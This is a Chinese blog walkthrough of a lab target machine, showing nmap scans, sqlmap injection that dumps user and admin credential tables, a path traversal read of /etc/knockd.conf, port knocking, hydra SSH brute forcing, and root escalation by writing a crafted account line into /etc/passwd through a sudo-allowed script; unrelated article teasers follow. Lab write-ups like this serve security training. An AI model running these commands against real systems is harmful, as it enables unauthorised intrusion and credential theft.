靶场-DC

news2024/11/17 17:41:57

文章目录

    • 主机发现
    • 端口扫描
    • 扫描目录
    • 登录网页
      • 查看users库
      • 查看staff库（密码正确）
    • 爆破ssh
      • 端口敲门服务利用
    • 提权

主机发现

nmap -sP 192.168.111.1/24
arpscan -l
netdiscover -p
发现除了本机ip，速度快

发现目标机的ip：192.168.111.140
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

端口扫描

nmap -sS -v -A -P 1-65535 192.168.111.140

开放了22，80端口
在这里插入图片描述

扫描目录

python dirsearch.py -u 192.168.111.140

在这里插入图片描述
在这里插入图片描述

登录网页

http://192.168.111.140/display.php

看到员工列表
在这里插入图片描述

http://192.168.111.140/manage.php
使用万能密码注入(失败)
‘ or 1=1--+

在这里插入图片描述

查看users库

search之后，就会这个url
http://192.168.111.140/results.php
尝试sqlmap注入（成功）
sqlmap -u "http://192.168.111.140/results.php" --data="search=1"
查看当前库
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" --current-db
查看所有库
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" --dbs
查看表
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D users --tables
脱 UserDetails表中所有数据
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D users -T UserDetails --dump

要么做成字典爆破，要么一个一个输入
结论，没有正确的密码登录

+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname   | password      | reg_date            | username  | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |
| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |
| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |
| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |
| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |
| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |
| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |
| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |
| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |
| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |
| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |
| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |
| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |
| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |
| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |
| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |
| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |
+----+------------+---------------+---------------------+-----------+-----------+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

查看staff库（密码正确）

sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D Staff --tables
sqlmap -u "http://192.168.111.140/results.php" --data="search=1" -D Staff -T Users --dump

用自带的字典解密hash

+--------+--------------------------------------------------+----------+
| UserID | Password                                         | Username |
+--------+--------------------------------------------------+----------+
| 1      | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) | admin    |
+--------+--------------------------------------------------+----------+

在这里插入图片描述
在这里插入图片描述
看到file does not exeist，考虑文件包含，不明白为什么考虑文件包含，但是看到了包含出的内容，想清了为什么
在这里插入图片描述

爆破ssh

连接拒绝

hydra -L users -P passwd 192.168.111.140 ssh

有三种情况
1.端口拒绝访问（防火墙）
2.用户被限制登录
3.运行了knockd服务（靶机特有的环境吧，实战不知道有没有）
只能用第三种试一下，文件在/etc/knockd.conf
在这里插入图片描述

http://192.168.111.140/manage.php?file=../../../../../../../etc/knockd.conf

在这里插入图片描述

options是日志文件，当按顺序访问sequence 序列的7000、8000、9000端口时，就会执行/sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCPET 命令
就是在防火墙的INPUT的chain链中接受22端口的TCP连接
seq_timeout=60表示每个端口访问的时间间隔不超过60秒
tcpflags=syn 表示一次只建立一次tcp连接。

端口敲门服务利用

端口敲门服务，即：knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务，使用自定义的一系列序列号来“敲门”，使系统开启需要访问的服务端口，才能对外访问。不使用时，再使用自定义的序列号来“关门”，将端口关闭，不对外监听。进一步提升了服务和系统的安全性。

nmap -p 7469 192.168.111.140
nmap -p 8475 192.168.111.140
nmap -p 9842 192.168.111.140
nmap -p 22 192.168.111.140

我单步敲门，打不开22端口，超时
有超时限制，加快命令的输入速度也可以写个python的 for in 循环来访问,如下

for x in 7469 8475 9842;do nmap -p $x 192.168.111.140;done

在这里插入图片描述
再次爆破22端口

hydra -L users -P passwd 192.168.111.140 ssh

在这里插入图片描述
进入ssh需要的操作是

查看用户文件——ls -a
查看root权限——sudo -l
查看历史命令——history

只有janitor用户里面有内容
在这里插入图片描述
加入字典继续爆破（好家伙玩套娃嘞）
发现了一个新用户
发现可以无密码root身份运行test脚本
在这里插入图片描述

提权

查看文件属性

file /opt/devstuff/dist/test/test

在这里插入图片描述
在这里插入图片描述
在文件中查找test.py

find / -name "test.py" 2>/dev/null
find / -name "test.py"
单独使用，会有很多没有权限的文件

在这里插入图片描述
查看文件内容
在这里插入图片描述
序列号从0开始，0是程序本身
该脚本是把第二个文件内容写到第三个文件中去，可以写拥有root权限的账号到passwd文件里，再登陆；前提要生成加密的密码

openssl passwd -1 -salt admin 123456
$1$admin$LClYcRe.ee8dQwgrFc5nz.


echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:root:/root:/bin/bash' > /tmp/a.txt
sudo /opt/devstuff/dist/test/test /tmp/a.txt /etc/passwd

openssl passwd的作用是用来计算密码hash的，目的是为了防止密码以明文的形式出现。

语法格式： openssl passwd [option] passwd

openssl passwd常用的选项如下：

-1：表示采用的是MD5加密算法。

-salt：指定salt值（加盐），不使用随机产生的salt。在使用加密算法进行加密时，即使密码一样，salt不一样，所计算出来的hash值也不一样，除非密码一样，salt值也一样，计算出来的hash值才一样。salt为8字节的字符串。

示例：

[tom@localhost ~]$ openssl passwd -1 -salt ‘12345678’ ##注意‘12345678’不是密码而是密码的长度

Password: ##这里输入的是密码

$1$12345678$1qWiC4czIc07B4J8bPjfC0 ##这是生成的密文密码


openssl passwd -1 -salt admin 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
admin 123456 用户名和密码

##将生成的密码串，手动添加到/etc/shadow中就可用作用户的登陆密码了。

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/22541.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Go 语言变量

Go 语言变量

变量来源于数学，是计算机语言中能储存计算结果或能表示值抽象概念。 变量可以通过变量名访问。 Go 语言变量名由字母、数字、下划线组成，其中首个字符不能为数字。 声明变量的一般形式是使用 var 关键字： var identifier type 可以一次声…
阅读更多...
基于PHP+MySQL新生报到管理系统（含论文）

基于PHP+MySQL新生报到管理系统（含论文）

每年都有大量的新生需要报到,但是很多时候因为是第一次到本校进行报到,不知道具体的报到流程和学校的安排,如果挨个的去通知无形之间会给工作人员增加工作量,目前最好的办法就是开发一套新生报到系统,让新生可以自己去查看具体的工作流程和安排 本系统是基于PHP和mysql来进行开…
阅读更多...
九、数据库的备份还原

九、数据库的备份还原

九、数据库的备份还原 1、归档管理 使用DM Manager： 点击注册的实例连接->右键->管理服务器 点击系统管理->点击配置->点击转换 点击归档配置->归档 使用DISQL： #创建文件夹存放日志文件 mkdir /dm/dmarch#登录disql disql SYSDBA SY…
阅读更多...
细胞衰老——酪氨酸激酶抑制剂

细胞衰老——酪氨酸激酶抑制剂

20 世纪 60 年代，Hayflick 和 Moorhea 首次引入细胞衰老的概念，以描述正常的人类二倍体细胞株在连续培养后出现的不可逆的生长停滞现象。后来的研究表明，细胞衰老可由端粒缩短或功能障碍、致癌基因激活、DNA 损伤和突变，以及许多不…
阅读更多...
外汇天眼：如果你想成为前5%的交易者

外汇天眼：如果你想成为前5%的交易者

如一个交易者在世界5%的交易俱乐部中，那就意味着其账户获得持续的收益，并且达到全球95%的交易者所达不到高度。而我们需要明确的是这些成功交易者是通过小而稳定的收益建立一个账户，并以可控的速度构建来完成的。 那么天眼君给大家抛出一个问…
阅读更多...
当 xxl-job 遇上 docker → 它晕了，我也乱了！

当 xxl-job 遇上 docker → 它晕了，我也乱了！

admin 和 executor 都单独部署 部署很简单，我就不具体演示了（不是主角，没戏份！） 直接看效果 192.168.8.222 上部署 xxl-job-admin 192.168.8.223 上部署 xxl-job-executor 是不是很简单？ 效果也和我们预想…
阅读更多...
物联网智慧养老平台解析

物联网智慧养老平台解析

在智慧养老解决方案中，物联网技术的应用是核心，无论是老人的定位还是生物波雷达的跌倒检测都是物联网技术的应用。 一、 系统介绍 RTLS的全称是real time location system，是一种基于信号的无线电定位手段，目前国内RTLS行业主要用…
阅读更多...
【0109】Linux系统监测工具sysstat介绍

【0109】Linux系统监测工具sysstat介绍

文章目录 1. sysstat介绍2. sysstat安装2.1 从源码编译sysstat2.1.1 为Android设备编译3. CPU状态查看4. IO状态查看5. 进程状态查看6. 线程状态查看7. 系统活动状态查看1. sysstat介绍 sysstat实际上是一个工具箱，这其中包含了好几个工具。它们的介绍如下： 2. sysstat安装…
阅读更多...
用DIV+CSS技术设计的餐饮美食网页与实现制作（web前端网页制作课作业）HTML+CSS+JavaScript美食汇响应式美食菜谱网站模板

用DIV+CSS技术设计的餐饮美食网页与实现制作（web前端网页制作课作业）HTML+CSS+JavaScript美食汇响应式美食菜谱网站模板

👨‍🎓静态网站的编写主要是用HTML DIVCSS JS等来完成页面的排版设计👩‍🎓,常用的网页设计软件有Dreamweaver、EditPlus、HBuilderX、VScode 、Webstorm、Animate等等，用的最多的还是DW，当然不同软件写出的…
阅读更多...
2022中国5G+工业互联网大会值得关注的那些事

2022中国5G+工业互联网大会值得关注的那些事

2022中国5G工业互联网大会 2022年11月20日，由工业和信息化部、湖北省人民政府主办的2022中国5G工业互联网大会在湖北武汉开幕。湖北省委书记王蒙徽出席开幕大会。湖北省委副书记、省长王忠林，工业和信息化部党组成员、副部长张云明讲话。湖南省人民政府党…
阅读更多...
数商云S2B2C商城积分商城功能如何实现家用电器企业营销价值最大化？

数商云S2B2C商城积分商城功能如何实现家用电器企业营销价值最大化？

随着数字化商业时代的到来，消费者行为发生了深刻变化，多元化的消费需求不断驱动着品牌营销思维的变革。对于家用电器行业来说，如何顺应消费者的消费行为变化，不断完善整合更新用户需求，应用更智能化的营销手段与消费者…
阅读更多...
第四章. Pandas进阶—数据导出

第四章. Pandas进阶—数据导出

第四章. Pandas进阶 4.7 数据导出 1.导出.xlsx文件 1).语法： DataFrame.to_excel(excel_writer, sheet_nameSheet1, na_rep, float_formatNone, columnsNone, headerTrue, indexTrue, index_labelNone, startrow0, startcol0, engineNone, merge_cellsTrue, encodi…
阅读更多...
(续)SSM整合之springmvc笔记(文件上传和下载)（P159-163）

(续)SSM整合之springmvc笔记(文件上传和下载)（P159-163）

一 .文件下载 ResponseEntity用于控制器方法的返回值类型&#xff0c;该控制器方法的返回值就是响应到浏览器的响应报文 使用ResponseEntity实现下载文件的功能1. 搞一张图片 2. index.html <a th:href"{/test/down}">下载图片</a> 3 .创建控制器Fil…
阅读更多...
日本知名汽车零部件公司巡礼株式会社115

日本知名汽车零部件公司巡礼株式会社115

株式会社115 业务内容&#xff1a; 拖车用辅助脚、拖车用零件类、特殊车辆用车轴Sub。Assy产品、面向汽车产业的生产设备、面向建设机械的零部件类、面向汽车产业的检查夹具 公司简介&#xff1a; 董事长&#xff1a;佐藤安弘 资本金&#xff1a;4500万日元 员工数&#x…
阅读更多...
在线研讨会 | 多说话人语音融合 - NVIDIA NeMo 代码解析

在线研讨会 | 多说话人语音融合 - NVIDIA NeMo 代码解析

多说话人语音融合 - NVIDIA NeMo 代码解析 多说话人语音融合任务是 TTS 语音合成当中的一个子任务&#xff0c;它是指将两个或者多个说话人的声音进行融合&#xff0c;合成出新的语音的过程&#xff0c;而不需要做任何进一步的微调。多说话人语音融合可以通过插值的方式代替预…
阅读更多...
线程创建方式

线程创建方式

Thread&#xff1a;线程 创建方式&#xff1a; 方法一&#xff1a;继承Thread类 1. 继承 Thread 来创建一个线程类 2. 创建 MyThread 类的实例 3. 调用 start 方法启动线程 方法2 实现 Runnable 接口 1. 实现 Runnable 接口 2. 创建 Thread 类实例, 调用 Thread 的构造方…
阅读更多...
ELK企业级日志分析系统

ELK企业级日志分析系统

一 ELK ELK平台是一套完整的日志集中处理解决方案&#xff0c;将 ElasticSearch、Logstash 和 Kiabana 三个开源工具配合使用&#xff0c; 完成更强大的用户对日志的查询、排序、统计需求。 1 ELK各组件概念 ElasticSearch&#xff1a; 是基于Lucene&#xff08;一个全文检索…
阅读更多...
X11 Xlib截屏问题及深入分析一 —— 源码位置

X11 Xlib截屏问题及深入分析一 —— 源码位置

在使用类Ubuntu操作系统进行截屏时&#xff0c;发现屏幕有时不能正确截取&#xff0c;于是这才有了这段时间的Spetacle、Flameshot、X11 Xlib的系列文章。最后不使用Qt、直接使用X11 Xlib进行截屏仍然存在同样问题。这就需要深入对于代码进行分析了。再次列出源码如下&#xff…
阅读更多...
[附源码]SSM计算机毕业设计高校创新创业服务平台JAVA

[附源码]SSM计算机毕业设计高校创新创业服务平台JAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…
阅读更多...
CAD数据文件格式DXF部分实体(圆弧、椭圆、凸度)解析[原理讲解+公式推导+java实现]

CAD数据文件格式DXF部分实体(圆弧、椭圆、凸度)解析[原理讲解+公式推导+java实现]

文章目录CAD图像读取与显示说明官方实体说明实体圆弧dxf记录信息代码实现测试优化多段线的凸度dxf记录信息代码实现测试椭圆dxf记录信息代码实现测试引用图片引用文章引用CAD图像读取与显示说明 如果想要开发一个可以读取dxf图像的软件&#xff0c;为了方便图像在软件中的绘制&…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023